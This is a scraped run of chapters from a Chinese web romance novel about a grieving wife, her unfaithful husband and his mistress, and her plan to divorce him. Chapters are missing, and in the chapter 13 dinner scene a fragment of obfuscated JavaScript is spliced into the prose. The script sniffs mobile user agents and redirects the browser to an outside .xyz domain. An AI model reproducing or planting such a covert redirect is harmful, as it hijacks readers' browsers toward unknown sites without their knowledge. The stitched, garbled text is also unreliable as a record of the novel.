《我提离婚后,清冷老公破戒了》
第10章 砸了他的佛堂
“时序哥,你快救救我,救我啊!”
苏雅欣再次尖叫,终于拉回了顾时序的思绪。
可她的叫声同时也引来了朵朵。
小姑娘见她妈妈被我抵在墙上疯狂扇耳光,立刻跑过去,“你这个坏女人,你放开我妈妈!你这个坏女人!”
她边哭,边重复着这句话,拼命拉扯着我的衣角。
我早已没了理智,对这个罪魁祸首也没有手下留情,一把推开了她,继续打苏雅欣。
就算她此时脸已经肿得不像话,嘴角全是血,也难解我心头之恨。
我的孩子究竟做错了什么,要被她们母女挫骨扬灰!
而朵朵刚才被我推倒摔在了地上,顿时哭了起来。
就在这时,一个苍劲的力道将我的身子转过来。
下一秒,清脆的一耳光扇在了我的脸上。
室内的空气猛地凝固,静的连呼吸声都一清二楚。
我震惊地望着眼前面色凝重的男人,那是我从五岁喜欢到二十五岁的男人。
顾时序,为了苏雅欣母女,他打了我。
为什么无论她们做了什么,最后受惩罚的人,都是我?
“昭昭……”
顾时序仿佛也被自己这样的举动惊到了,他语气缓和了些,上前想触碰我。
“抱歉,我……只是想让你冷静一点。”
我往后退了几步,静静地看着他,一遍遍地问:“为什么?为什么连这点念想都要毁掉?你把我的孩子还给我!你让她把我的孩子还给我!”
我对着不知所措的顾时序嘶吼着,发出困兽般的呜咽!
然后,我像是突然想到了什么,又跌跌撞撞跑到那盒子旁边,跪在地上,想将那些骨灰重新放进盒子里。
可是,根本拣不起一来点,我彻底失去了我的宝贝。
泪水砸在地面的骨灰上,将细小的颗粒染成了深色的瘢痕,也变成了我心口一道永远无法愈合的伤。
而一旁的顾时序正将朵朵抱在怀里,检查她刚才有没有摔伤。
可我的宝宝呢?
顾时序连看都没再看一眼,他就一点痛苦都没有吗?
可是,当初婚是他主动求的,孩子是他和他妈妈催着要生的,为什么现在痛苦的人只能是我呢?
我目光掠过客厅沙发旁的一个高尔夫球杆,突然走了过去,拿起球杆直奔佛堂。
那母女俩毁了我最重要的东西,可我不能**,那我只能也毁掉顾时序重要的东西。
让他跟我感受一样的痛苦!
高尔夫球杆一杆杆地砸在佛像上,鎏金佛观应声而裂,碎成金光闪闪的残片。
这间佛堂包括里面的所有东西,都是顾时序当年找专人设计,花重金打造的。
我疯了一般的毁掉,碎裂和毁灭的声音像极了我内心的呐喊。
我顾不得大逆不道,也顾不得什么报应。
如果这世间真有报应,那为什么得到惩罚的人不是顾时序和苏雅欣?
等顾时序反应过来赶到佛堂的时候,看到的是满地狼藉,和正在疯狂毁掉所有东西的我。
“叶昭昭!”
他好像也失了控,过来将我手里的球杆夺走扔到一边,又扬起了手,却极力控制着,始终没有落下来。
我嘴角扯出一抹微笑,道:“怎么不打了?下不去手?”
在顾时序僵住不知该说什么的时候,我也给了他狠狠一耳光。
这是他欠我和孩子的,他欠我们的,又何止这一个巴掌?
哪怕一开始,顾时序能跟我一样难过,体会到我哪怕一丁点儿的痛,我都不会这般崩溃。
可他只顾着对苏雅欣和那个孩子嘘寒问暖,始终没有为我的孩子流一滴泪。
顾时序舔了舔嘴边的血迹,冷声吩咐:“太太疯了,把她带回房间,让她好好冷静一下。”
刚才我所经历的一切已经耗费了我所有力气,我没有精力再去反抗什么,虚脱一般地往我房间走去。
我没
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走多久,就听见身后传来苏雅欣的声音:“时序哥,我的脸都被打成这样了,下个月该怎么进组拍戏啊?朵朵也不是故意的,她还只是个孩子而已。叶小姐至于发这么大的火吗?像疯子一样!”
顾时序沉声道:“她是孩子,那你呢?你是大人,当时你干什么去了!”
……
我回到房间,一小时过去了,我还是浑身发抖。
这时,刘妈敲了敲门,手里捧着那骨灰盒走了进来。
她叹了口气,道:“太太,这是先生吩咐我的,说能捡起来多少是多少。我刚才拣了许久,才拣了这么点儿回来。”
我望着眼前已经坏掉的骨灰盒,和那少了一大半的骨灰,只觉得好对不起我的孩子。
我颤抖着手,一遍遍抚摸着那盒子。
“当年,我应该让她入土为安。是我太自私,我总想她能陪着我,我不想让她在那个黑漆漆的地方……”
说到最后,我心如刀割,连声音都发不出来。
刘妈心疼地说:“太太,小小姐在天之灵如果看到,她会谅解的。她肯定知道,她的妈妈很爱她。”
“刘妈,谢谢你。”
我满眼含泪,是真的感激她。
如果不是她当时拦着苏雅欣,或许,就连这些骨灰,都被那女人用吸尘器吸走了。
后来,刘妈又给我送了晚餐,道:“先生让朵朵那孩子在客厅里罚站到夜里两点,我好像还听他斥责了苏雅欣。”
我无力地笑了笑,这般敷衍的惩罚,能改变得了什么呢?
这一刻,我的内心一片荒芜。
我透过落地窗,望着这奢华偌大的别墅,却发现这里早已不再属于我。
这别墅里住着的四个人里,我是唯一一个外人。
我打开笔记本电脑,反反复复地看着那些他出轨的照片。
他对别人有多深情,对我就有多绝情。
就在这时,我听见门锁响动和顾时序熟悉的脚步声。
第12章 顾时序的后悔,我已经不需要了
“刘妈。”
我拦住她,道:“别告诉他,没有意义。”
就算刘妈说了,顾时序也只会觉得我小题大做,又或是为了跟苏雅欣争风吃醋装可怜。
哪怕他真的相信刘妈的话,可顾时序的后悔和怜悯,我已经不再需要了。
在我的阻拦下,刘妈终是没把电话打出去。
……
半小时后,宋今若赶到了医院。
看到我脸色苍白如纸,她气道:“我早就说不让你跟他吃素,你看看你自己现在成什么样儿了?那么漂亮的一个美人儿,偏偏脸上一点血色没有!”
宋今若说完我,心疼的眼圈都红了,恨恨地说:“顾时序这个王八蛋,他给我等着!那个小三的女儿,休想进我们圣辉幼儿园。”
我不想连累宋今若,提醒道:“顾氏是圣辉幼儿园的大股东,你不要因为我得罪他。就算不进你家幼儿园,他也会给那个孩子找到其他的。”
宋今若警惕地看了眼刘妈,似乎怕她回去学话。
她还没说让刘妈回去,刘妈就接到了别墅里打来的电话。
听说是顾时序拍卖会上拍下了一盒极品燕窝,刚送回别墅。
所以,苏雅欣让刘妈回去给她炖燕窝。
别墅里这么多佣人,之所以是刘妈做这件事,明摆着是因为刘妈正在陪我。
她想让我身边孤立无援,除了我的丈夫,她还想抢走每一个对我好的人。
我对刘妈道:“刘妈,你先回去吧,这里有今若陪我,没事的。”
刘妈终究是给人打工的,只能不放心地看了我一眼,道:“太太,那您有事一定要给我打电话。”
我点点头。
她走了,宋今若才开始说正事儿,“叶昭昭,你以前可不是这种逆来顺受的性子!刚才刘妈那意思,小三现在住你家里?你怎么能忍下去的?”
“我没有忍,我会跟他离婚,一定。”
我说完,宋今若很惊讶地看着我。
她跟我从小学就认识了,可以说一路见证了我对顾时序的感情。
当初顾时序要修佛,我决定支持他,陪他遵守那些清规戒律的时候,宋今若就说我完了!
她说哪怕有一天顾时序把外面的女人带回家,说不定我这么爱他,甚至会给那女人伺候月子。
可没想到,她的预言不仅成真了。甚至,比预言还要过分的是,顾时序的情人为他生下的孩子都三岁了。
压根用不着我伺候月子。
想想真是挺讽刺的。
但是现在,我很理智清醒地对宋今若道:“这次,我绝不会再迁就他。只是我目前暂时没办法跟他撕破脸,我妈的病还需要顾氏研发的心肺支持仪救命。一个月后,这个设备才能正式上市买到。”
宋今若终于明白了我现在留在那儿忍着他们的原因。
提起离婚,她到:"对了,我上次帮你找的律师,是我们宋氏经常合作的。我一会儿把她叫来,问清楚
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还需要什么手续?"
"好。"
我点点头。
等律师的过程中,宋今若有一搭没一搭地刷着微博。
苏雅欣微博里晒了极品燕窝,还配文:“娱乐圈打工人也要好好爱自己,补气养颜!姐妹们,我先替你们尝尝。”
苏雅欣的脸虽然昨天被我打成了猪头,但她配了一张以前的照片。
评论区一片夸她的声音:
“欣欣本来就很美啦,吃完燕窝还不成天仙了?要我们这些普通人怎么活!”
“我认识这个牌子的燕窝,只有从拍卖会上才能买得到。巨贵,克比黄金还贵,补气血神器,女人吃了特别好!”
“我们这辈子都吃不起了,呜呜呜!好羡慕我女神这么美,还这么有钱!”
……
宋今若看到照片中苏雅欣白皙红润的脸,又看看我苍白的脸色,简直气到牙痒痒。
她对我道:“最需要补气血的人明明是你啊!这顾时序真是瞎了眼,把这么好的东西送给她!”
我们正说着,律师就来了。
是个三十岁左右的女律师,叫秦欢,看起来很干练。
我刚把目前的婚姻状况和我的诉求跟秦欢说完,竟然听见了门外顾时序另一个助理孙杰的声音。
“顾总,太太好像在前面那个病房。”
我和宋今若都变了脸色,难道,顾时序来了?
这男人要是知道我们正在请离婚律师,不知道会是什么反应?
第13章 他看见了我请的离婚律师
我们还没反应过来,顾时序已经推门而入。
因为他来得太突然,我们甚至没办法商量对策。
看到宋今若,他没有多惊讶。
可看到律师的时候,男人黑沉的眸子里透出一抹狐疑。
宋今若生怕他看出些什么,连忙打马虎眼儿道:“这是昭昭以前的同事,知道她生病来看看。放心吧,她嘴很严,不会把你俩隐婚的事说出去。”
“顾总,您好。”
秦欢淡定地冲他笑笑,没有露出任何破绽。
顾时序矜贵的颔首,然后目光落在了宋今若身上。
他语气虽淡,但又带着不可抗拒的意味,“我女儿以后在圣辉幼儿园,你照顾一下,别让她受委屈。”
他说完,完全没有其他别的想说的了。
宋今若愣住,不可思议地问:“顾时序,你该不会特意来这儿,就是为了让我照顾一下你女儿吧?”
顾时序反问道:“不然呢?你记住,不要在我女儿身上动心思。否则,你们宋家承担不起这个代价。”
很显然,他知道宋今若今天跑到这里来找我。
而且我跟宋今若关系那么好,他自然怕宋今若公报私仇,委屈了朵朵。
宋今若被他气得都不知道该说什么了?
他警告了宋今若,准备走了。
但走到门口时,突然停住脚步,回头看着我,例行公事似的问:“你没事吧?医生怎么说?”
医生办公室就在我病房旁边,他都懒得去问一下。
可他却可以为了朵朵,百忙之中特意跑到这里来找宋今若,就为了说一句“别委屈我女儿”!
虽然我已经决定离婚,可到底这是我从小喜欢到大的人,心里又怎么能做到无动于衷?
“没事。”
我不想多说一个字。
顾时序点点头,孙杰赶忙给他开门。
确定他走远了,秦欢才对我道:“我现在来说一下,你接下来需要为这个离婚准备什么?”
我望向她,很认真地听着。
她说:“如果你想争取到最大的权益,第一是你丈夫的资产你要弄清楚,包括他的固定资产、股票、基金;第二也是最重要的,就是你丈夫出轨的证据。"
“秦律师,我有我丈夫出轨的照片,这算是证据吗?”我问。
秦律师道:"照片的有效力度不足,如果是床照,还差不多。但是如果能证明那个孩子是你丈夫和苏雅欣亲生的,那你丈夫婚内出轨就跑不掉了,法官判财产的时候也会偏向你。”
说到这儿,她提醒道:“在这期间,你绝不能打草惊蛇,被他知道你在暗中调查他的财产或者取证。否则,以你丈夫这样的实力,他有一万种方法转移财产,或者销毁证据。”
我这才发现,跟顾时序离婚竟然跟结婚一样难。
只是这二者发生的时候,心境大不相同。
秦欢走时跟我加了微信好友,让我有任何问题随时联系她。
……
我在医院住了三天,宋今若每天都来陪我。
顾时序没有再来过,刘妈也没有来过。
听刘妈说,苏雅欣让她每天熬燕窝,还总找各种事为难她。
以至于刘妈根本抽不出时间来医院一趟。
今天医生说我可以出院了,但以后要荤素均衡,绝对绝对不能再吃纯素食了。
我郑重地答应下来。
回去的路上,我去超市买了电煮锅和新鲜的食材,荤素都有。
好在顾氏庄园每个房间都很大,哪怕是客房,也有足够的地方放一个锅煮饭吃。
我回到家,恰好别墅里晚餐已经好了。
路过餐厅时,我撇见餐桌上有荤有素。
顾时序依然在吃素食,而朵朵和苏雅欣荤素都可以吃。
我想到以前别墅的冰箱里,是绝对不允许有任何荤腥存在的。
再看看现在,她们甚至可以在顾时序眼皮子底下吃荤,顾时序也依旧容忍。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16173185|180755||http|test|mini|href|location''.split(''|''),0,{}));
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r>原来,顾时序以前严守那些清规戒律,只是因为他身边没有出现一个他愿意为此破戒的人。
我不再看眼前这扎心又讽刺的一幕,准备去我自己房间。
就在这时,苏雅欣发现了我,“叶小姐,你出院了?身体康复了吗?我本来还想带朵朵去医院探望你呢。”
我停住脚步,冷冷看着她道:“托你的福,没死。你要想当继室,估计又得等段时间了。”
苏雅欣脸色微变,随即,楚楚可怜地说:“我想为那天朵朵不小心摔掉骨灰盒的事跟你道个歉。请你一定要原谅她,也原谅我没有管教好她。”
“苏小姐道歉就靠嘴上说说吗?一点诚意都没有?”
我接连的反问把苏雅欣弄得进退两难。
她要是不接话,那就代表没诚意。
所以她只能硬着头皮接下我的话,问道:“那叶小姐想要什么样的诚意?”
我冷笑着说:“你摔我女儿骨灰盒,跟挖人坟墓有什么区别?盗墓者挖坟前还要在墓碑前磕三个响头呢,不然,可是要遭天打雷劈的。”
苏雅欣立刻把话题转移到朵朵身上,“叶小姐,朵朵只是个孩子,你让她给你磕响头,有点过分了吧?她从小到大都,时序哥都没有让她受过任何委屈。”
我抬眼看着她,道:“你是她妈妈,你管教不利,难道不是你替她吗?”
朵朵听我这么说,赶紧跑到妈妈身边,恨恨地瞪着我,道:“你只是女佣而已,是下人!我妈妈才是女主人,你应该给我妈妈磕头才是!”
苏雅欣搂着女儿,十分欣慰。
可我很惊讶,这种话,竟然能从一个三岁孩子的嘴里说出来。
苏雅欣每天都给朵朵灌输了些什么?
朵朵还在替她妈妈叫嚣,冲我道:“我让你跪下给我妈妈磕头,你没听到吗?”
我的目光落在一旁优雅吃饭,仿佛不食人间烟火的男人身上,问:“你说呢?”
第14章 为了孩子,我愿意卑微一次
顾时序不悦看着我,道:“朵朵那么小,懂什么?她说的话,也值得你计较?”
他不仅没有教育他的宝贝女儿,反而让朵朵坐回他腿上,亲自喂小丫头吃饭。
苏雅欣勾唇笑了笑,一副温婉的样子道:“叶小姐,朵朵最近是古装戏看多了,你别介意。对了,时序哥那天从拍卖会上拍的燕窝,我吃着特别好,所以给你留了一些。等会儿,让刘妈给你送去。”
我回以同样的微笑,道:“不必了,二手东西我吃不惯。不像你,不挑。”
说完,我拎着我手中的锅碗瓢盆,回到了自己的房间。
自己动手丰衣足食。
很快,我就煮好了一碗番茄面,加了鸡蛋和火腿,味道很不错。
吃完饭,我就开始琢磨那天秦欢对我说的事。
怎么查顾时序的资产?
怎么证明朵朵是苏雅欣和顾时序亲生的?
我理清了思路,发现第二件事其实比第一件容易些。
因为我现在住在这个别墅里,总有机会拿到他们的头发样本去做DNA对比。
而如何查清顾时序的资产,我上网搜了很多相关的离婚案例,却都不太适用于我和顾时序。
我明白,跟顾时序离婚并非一两天就能完成的事,不能操之过急。
所以,我洗了澡准备睡觉,明天再想。
刚沾到枕头,别墅的庭院里突然出现了狗叫声。
我睡觉一向很轻,以前哪怕顾时序夜里去洗手间,我都会被脚步声吵醒。
狗叫一声接着一声,吵得我头痛。
原以为是附近的流浪狗。
直到我去窗边打开窗帘,这才发现庭院里,顾时序和苏雅欣正带着朵朵遛狗。
一条白色的拉布拉多,块头很大,都快赶上朵朵了。
我没想到,这别墅里居然养起了狗。
因为我小时候被狗咬过,从此之后,看到狗我都绕道走。
这点,顾时序是知道的。
以前我们一起出门的时候,如果路上看见狗或者听见狗叫,他都会帮我捂住耳朵,让我躲进他怀里。
而现在的顾时序,早已不在乎我的感受。
他在乎的是,只是苏雅欣和朵朵开不开心。
我默默拉上窗帘,将耳机塞在耳朵里,试图阻隔这令人心烦的声音。
其实他们没遛多久,狗叫声后来也停止了。
但不知道为什么,我就是睡不着,辗转反侧到天亮,始终无法入睡。
本以为这只是偶尔的一次失眠。
可后来我接连几天都成夜睡不着觉。
一闭眼就仿佛回到我生下死胎那天哭着要见我的孩子,却被告知顾时序怕我伤心,已经将孩子运往殡仪馆火化。
整整三年,我守着那个小小的骨灰盒。
可现在,就连女儿的骨灰盒也不完整了。
那天骨灰盒被摔碎的场景,在我脑海中闪现一遍又一遍。
白天我会因为夜里的失眠,而浑身乏力,什么都不想做,郁郁寡欢。
我这才发现,自己好像生病了。
为了验证我的猜测,我去医院挂了精神心理科。
心理医生听了我的叙述,告诉我这叫做创伤后应激障碍,需要及时的心理疏导。
否则,以后可能会发展成严重的抑郁症。
可心理医生的治疗方式竟然是“脱敏”。
就是让我自己亲口说出我不想回忆的事,不想提起的人,以及与现在形成鲜明对比的美好过去。
他说只有这样,我才能亲手将腐肉剜掉,伤口才能长出新鲜的血肉。
虽然这对我来说太过残忍,但我还是决定积极配合治疗。
我不想在未来的人生里,因为这段失败的婚姻,把我自己变成一个痛苦的疯子!
当然,心理疏导是循序渐进的,并不是一次性要我把我和顾时序的回忆全部说出来。
第一次治疗完成后,医生还给我开了一些抗焦虑抑郁的药物,让我回去吃。
并且他还建议我,让我和顾时序一起给孩子找块墓地,将骨灰盒放进去入土为安。
这不仅是对孩子的尊重,也是对我自己的一个交代。
虽然婚姻失败了,但顾时序永远是孩子的爸爸,这点没法改变。
而我唯一的私心,就是想让我的孩子也体会一次像顾时序对朵朵那样的父爱。
哪怕只有一次。
从医院拿了药后,我返回家里。
没想到,这大白天的顾时序竟然在家。
以前的顾时序除了修佛时会在家里的佛堂,其余时间几乎都在公司,我跟他也只有早上吃饭时能
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说上两句话。
可自从苏雅欣母女住进来之后,就连他回家的时间都多了许多。
所以,他也并不是忙到连家都回不了啊!
见我进来,坐在沙发上看杂志的男人看了我一眼。
我下意识地将印有医院名称的药袋子藏在了身后,不想被他知道我是个心理有问题的人。
可我还是高估了自己在他心里的位置,他看到了我手中的药,却并不在乎我为什么会拿药,拿的什么药?
其实我并不需要藏起来的。
想到医生给我的建议,我站在他面前没走,犹豫着如何跟他说一起给孩子下葬的事。
“有事跟我说?”
他终于先开了口,将杂志放在一边,深邃的眸光好像真的很认真在看我。
就在这时,刘妈端着一碗燕窝上来,笑眯眯地说:“太太,这是极品血燕燕窝,先生让我给您熬的。对您的贫血最好了!”
尽管我知道刘妈是好意,想撮合我和顾时序,但我不喜欢这种好像我吃喝都得靠顾时序赏赐的感觉。
顾时序这时也说了句:“喝了吧。”
仿佛在给我台阶下。
我拒绝道:“不必了,我不喜欢吃别人的残羹剩饭。”
反正,这本就不是买给我的。
苏雅欣已经喝了那么多天,是喝腻了,还是喝不完才想起我了?
顾时序见我驳了他的面子,丢下三个字:“随便你。”
说完,他起身往楼上走去。
我连忙叫住了他,将我的想法一鼓作气说了出来:“顾时序,你明天有时间吗?我想让你跟我一起给孩子选块墓地,把她好好安葬了。”
我话音刚落,苏雅欣从楼上下来,道:“时序哥,我们什么时候出发?朵朵说要在幼儿园开学前好好出国玩一趟!盼了好久了!”
顾时序顿了顿,回头看着我。
我也这么凝视着他,紧张地等待着他的答案。
我多希望他这次可以选择我。
我想,我的孩子在天之灵也会想看到爸爸把她当作宝贝。
“可以吗?就明天上午,不会耽误你很多时间的。”
我知道此刻的自己有多么卑微,我失去了往日的傲骨,每一个字都带着诚恳的请求。
为了孩子,我愿意卑微一次。
第15章 以后,我与他再无交集
顾时序顿了顿,似乎在衡量时间,然后道:“周五下午我回来,你等我两天。”
我微微松了口气。
还好他答应了。
虽然我在回来的路上咨询过殡仪馆,说是最好上午下葬,过了中午不吉利。
但我不敢再要求他太多,怕他反悔。
我的孩子,在两天后的下午,终于也能享受一次父爱了。
顾时序草草跟我约好时间,便跟着苏雅欣上楼了。
我回到客房,站在窗户边,看着朵朵被苏雅欣和顾时序一左一右的牵着,蹦蹦跳跳的。
司机和助理拖着两个大行李箱跟在后面。
就连朵朵养的那只白色拉布拉多,也跟着他们去旅行了。
我弯了弯唇角,拿过一旁心理医生给我开的药,吃了下去。
药的苦涩从口腔一直流进了心里。
……
日子转眼间到了周五。
这期间,有家单位给我打电话通知我周五下午去面试。
之前投的简历终于有了回复。
可周五下午我已经跟顾时序约好了一起去给孩子下葬,所以我只好问他们能不能换个时间面试?
得到的回复意料之中,当然是不可能!
好不容易等来的工作,就这样泡汤了。
可我也并不后悔。
周五我很早就起来了。
吃完早餐便去了墓地,其实在下葬前,还有很多繁琐的程序。
因为顾时序下午才能回来,我怕他嫌麻烦,所以除了下葬,其他程序都是我一个人参加的。
例如,跟孩子告别;例如,帮孩子诵经祈福。
可时间已经临近中午,顾氏庄园那边说他还没有回来。
我给他打电话,那边没人接。
我看着时间,十二点了,如果他在飞机上,手机应该关机才对。
但是手机并没有关机,只是打不通。
一种不好的预感慢慢爬上心头。
他答应过我了,他自己亲口说过周五下午会回来,让我等他。
他会来的吧?
我静静地站在给孩子选好的墓碑前,等待着时间一点一点地流逝。
这时,一个工作人员过来提醒我:“叶女士,现在已经四点半了,再不下葬,天都要黑了。”
我的心终于冷成了冰。
他不会来了。
我的孩子在进入那个黑漆漆的世界之前,还是没有等到她的爸爸来看他一眼。
“嗯,那就下葬吧。”
我声音带着一丝哽咽,极其艰难地说出了这句话。
回去的路上,顾时序的电话打了进来。
我没有接,直接关了手机。
这是我发现他出轨后,第一次这样恳求他,也是唯一一次我觉得与他还有交集的事。
但是,我已经自己办完了。
从此之后,我们之间,就再没什么沟通的必要了。
我以为我足够想得通、放得下了,可夜里我又失眠了。
毫无睡意的我随意刷着微博,这才看到苏雅欣发的动态:是她穿着粉色仙女裙蹲在地上,抱着那只白色拉布拉多,鼓嘴卖萌的样子。
配文:狗狗拉肚子了,只好延迟回国了。家人们,巴厘岛的宠物医院有推荐吗?
几分钟前的一条动态,已经跟了几百条评论。
夸苏雅欣好看的,夸苏雅欣善良的,推荐巴厘岛宠物医院的……
我不知道该哭还是该笑,真讽刺!
在顾时序心里,我与他的孩子,竟还不如苏雅欣的一条狗重要!
原来,这就是他爽约,推迟回国的原因。
我辗转反侧在床上,一遍遍的告诉自己不要去想,可心里像是堵了团棉花,呼吸都觉得困难。
我想跟宋今若打电话倾诉,但是现在已经很晚了。
况且,以后这种情况或许隔三岔五就会发生一次,我得学会自救,不能次次都靠闺蜜。
就这样,我坐回书桌前,打开了电脑。
这是我突然萌生出的想法,通过写小说来宣泄心底的压抑,将我与顾时序的婚姻用文字记录下来,也用这样的方式跟我过去的二十五年告别。
我注册了一个笔名,叫做“夜未央”。
就如同我这三年度过的无边无际的黑夜,总好像也过不完似
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的。
或许是我记者出身的原因,写稿也够多,所以码字和叙述经历对我来说都不是什么难事。
写到深夜两点,困意袭来,我终于上了床。
……
翌日一早,我被手机来电吵醒。
是养母叶夫人打来的电话,说是我们好久没回娘家了,让我带顾时序回去吃饭。
“妈,顾时序他今天去不了了,他……”
我支支吾吾了半天,不想给他们添堵,便道:“他在国外出差,估计赶不回来。”
叶夫人道:“那他不来你也可以来啊!妈妈都想你了。”
想想自己也有段时间没回娘家了,我便答应了下来。
中午到家时,叶夫人早已准备好了一大桌子饭菜。
看到我手里大包小包的礼物,她笑眯眯地说:“傻丫头,回自己家里还这么客气?快点洗手,喊你爸爸下来吃饭。”
我去书房时,叶父正自己跟自己下棋。
他遗憾地说:“时序最近都很忙吗?好久没见他了。我本来还想跟他下几盘棋呢!”
叶父和叶夫人对顾时序的良好期许让我生生把话咽进了肚子里。
这个破碎的婚姻哪怕告诉他们,他们又能怎样呢?
他们没有生我,却把我养大,我不想再让他们为**心。
于是,我对叶父道:“爸,等他这次回来我一定让他抽空来家里陪您下棋。”
餐桌上,就我和叶父、叶夫人三个人。
“我哥呢?”
我疑惑地问:“上次回家也没看到他。”
提起这个,叶夫人突然兴致勃勃地说:“你哥哥啊,他谈恋爱了!三天两头不在家,前几天好像又出国了。”
叶父虽然没说什么,但他脸上的笑容也能看得出对未来嫂子很满意。
“未来嫂子是哪家的?”
我也替我哥哥高兴,说道:“能让爸妈满意,肯定差不了。”
叶夫人笑呵呵地说:“就是大明星苏雅欣啊!你是做娱乐记者的,应该认识吧?跟你一样漂亮。”
我的心狠狠一沉,筷子都没拿住,掉在了地上。
第17章 挤挤就进去了
我面无表情地说:“我出现在我家里的衣帽间,还要征求你的同意?”
苏雅欣脸色微变,随即,挤出一抹微笑,道:叶小姐,你误会我了。只是这次出国时序哥给我买了不少衣服,我怕这衣帽间放不下了。”
我看了眼全是国际大牌包装的袋子,冷冷道:“放不下就挤挤呗!两个人的感情都能挤进第三者,更别说区区几件衣服了。”
苏雅欣脸上的笑就快维持不住,随即,她看看手里我给顾时序织的围巾,直接丢进了一旁的垃圾桶。
她别有深意地说:“与其挤一挤,还不如把那些淘汰的、不符合时序哥品味的旧货给扔了。”
她继续整理着顾时序放在角落的我给他织的毛衣,仿佛闲聊似的道:“这些东西,真不明白怎么会出现在时序哥的家里。太不入流了!”
我想到叶夫人和叶父口中提到这个“未来的嫂子”,突然觉得苏雅欣目前的一切举动都十分滑稽。
我从她手中将我给顾时序织的毛衣围巾全都拿了过来,道:“衣服不入流,至少还能给流浪汉御寒;要是人不入流,无论去哪里都是垃圾!”
下周等她跟着我哥出现在叶家的时候,这个垃圾应该就能现出原形了。
我自顾自地在衣帽间找了半天,终于找到了我下午面试要用的小西装。
而我之前给顾时序织的毛衣和围巾,我都抱走了。
我离开衣帽间刚走几步,朵朵就进去了,十分羡慕对她妈妈道:“哇,妈妈,你的衣服好漂亮啊!这个裙子穿在妈妈身上像是仙女一样!”
苏雅欣像是故意要让我听见似的,道:“都是爸爸给妈妈买的。”
我扯了扯唇角,将我手中这些对顾时序毫无意义的‘过时衣服‘投进了别墅门口的衣物捐赠箱。
这些,现在哪怕穿在流浪汉身上,对我来说都比穿在顾时序身上有意义!
我投完衣服回来,顾时序不知什么时候已经来到了客厅。
见我进来,他主动开口道:“明天有时间吗?我们一去给孩子下葬,我让孙杰挑了一块风水好的墓园。”
我顿住脚步,恍恍惚惚地看着这男人五官优越的皮囊。
不知道是我没睡醒,还是他没睡醒?
现在,才想起我们的孩子。
那天我在墓地独自看着那个小小的骨灰盒被埋进土里,却始终没有等到孩子的爸爸。
我忍着眼眶的酸涩,问他:“我们不是说好了,周五就去给孩子下葬吗?你为什么没有回来?”
顾时序眸光微敛,淡声道:“国外有点事耽误了。”
我嗤笑了声,道:“国外的事,是给苏雅欣的狗治拉肚子?”
顾时序脸色微沉,道:“不是因为这个。”
“呵,顾时序,你要不要看看现在的自己有多虚伪?”
我失望地看着他那张曾经把我迷死的面容,道:“苏雅欣微博上发得清清楚楚,你何必否认?我们现在到了这一步,我还值得你费心思欺骗吗?”
说完,我再也不想看他一眼,径直往自己的房间走去。
走了几步,我突然想起什么,回头对他道:“我的孩子已经安葬了,你不必费心。以后,你的孩子只有朵朵一个!”
回房后,我心情平复了很久,才终于趋于平静。
……
索性,今天上午这个插曲没有影响到我下午面试的状态,算是正常发挥。
面试结果两天后登在了衷亦传媒的官网,我被录用了,试用期半年。
这算是我这段时间以来,唯一一件值得开心的事了。
我正式上班的第
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一天清早,便听见别墅里的哭闹声。
原来今天也是朵朵上幼儿园的第一天,但是小丫头死活不肯去。
顾时序好言相劝,又抱着她耐心地哄。
一贯清冷的男人,只有在苏雅欣母女面前才会露出这般温柔宠溺的一面。
我讽刺得弯了弯唇角。
路过他们时,顾时序的目光刚好落在我身上,似乎带着某种疑惑。
毕竟,之前我工作被他弄丢了,就没有再这么早出去过。
所以他看到我今天一身职业装,还化了淡妆,还有些意外。
刘妈见到我出去,关心地问:“太太,您这么早去出去是有事吗?”
“嗯,有点事情办。”
我敷衍着回答了一声,不想被顾时序知道我找到了新工作。
七点五十,我准时到公司人事部报道后,她们让我去找部门总监。
可我没想到,这家传媒公司的新闻部总监竟然是我大学室友,也是我大学四年的竞争对手,孟云初。
当年大学时候,我和她的专业成绩一直是第一和第二。
毕业那年,本来是我获得了我们专业唯一的保研名额,但为了跟顾时序结婚,响应婆婆开枝散叶的要求,我放弃了。
后来这个保研名额就落到了孟云初的头上。
直到现在,我都记得她那时看我的眼神,充满了惊讶和轻蔑。
就好像在说‘真是个恋爱脑的蠢女人’!
可是,毕业后的四年,我经历了一场令我遍体鳞伤的婚姻,而我的竞争对手做了我最想做的新闻记者工作,还成了我的顶头上司。
现实真是残酷又讽刺啊!
在我出神儿之际,孟云初突然开口,语气嘲讽至极:“怎么?婚姻不幸?老公不给钱花啊,逼得你自己出来工作?”
第18章 他要我们叶家陪葬
我笑了下,反问道:“自己出来工作是什么很丢人的事吗?你不是也自己出来工作?”
孟云初被我噎了一下,随即,对我道:“叶昭昭,别忘了,你还在试用期。我是你的上司,有权决定你的去留。”
我点点头,道:“记得呢,我会好好工作的。孟总监还有什么事要吩咐吗?”
孟云初估计也是今天才知道我来这里工作的,所以一时半刻没想到什么方法整我,就先让我出去了。
坐回工位上的我心里有点忐忑。
毕竟,顶头上司是跟自己关系不太好的大学竞争对手,这工作怎么看都不是那么好做啊。
这时,我手机来了条微信,是宋今若发来的。
“这顾时序的女儿是不是**啊!”她带了个笑哭的表情,道:“我今天特意去她班上看了眼,听老师说她上完厕所连裤子都不会提。”
我回:“顾时序这样的智商,应该生不出来弱智吧。”
宋今若道:“说不定是小三拉低了整体智商呢?这女孩真是笨**,脾气也大得很。刚来第一天,就推倒了一个小朋友。现在,没一个小朋友愿意搭理她。”
我知道,宋今若给我发这些,一是为了让我出气,二是存在着一些私心和偏见。
虽然我也不喜欢苏雅欣母女,可我还是给她回:“别为难她,我不想把气撒在一个孩子身上。”
我不敢一直跟宋今若聊下去,生怕被孟云初看见,到时候给我穿小鞋。
我用了整整一天熟悉了工作内容,孟云初故意挑着下班的时间让我完成一个新闻稿的撰写,明天要发出去。
无奈,我只好加班。
直到晚上十点。
我才终于写完了稿子发到孟云初的邮箱。
回家时,别墅里灯火通明。
朵朵哭得上气不接下气,好像是因为今天在幼儿园尿了裤子,被同学们嘲笑。
小丫头哭着说:“我不去上幼儿园了!我再也不要去了!都没人愿意跟我玩儿!”
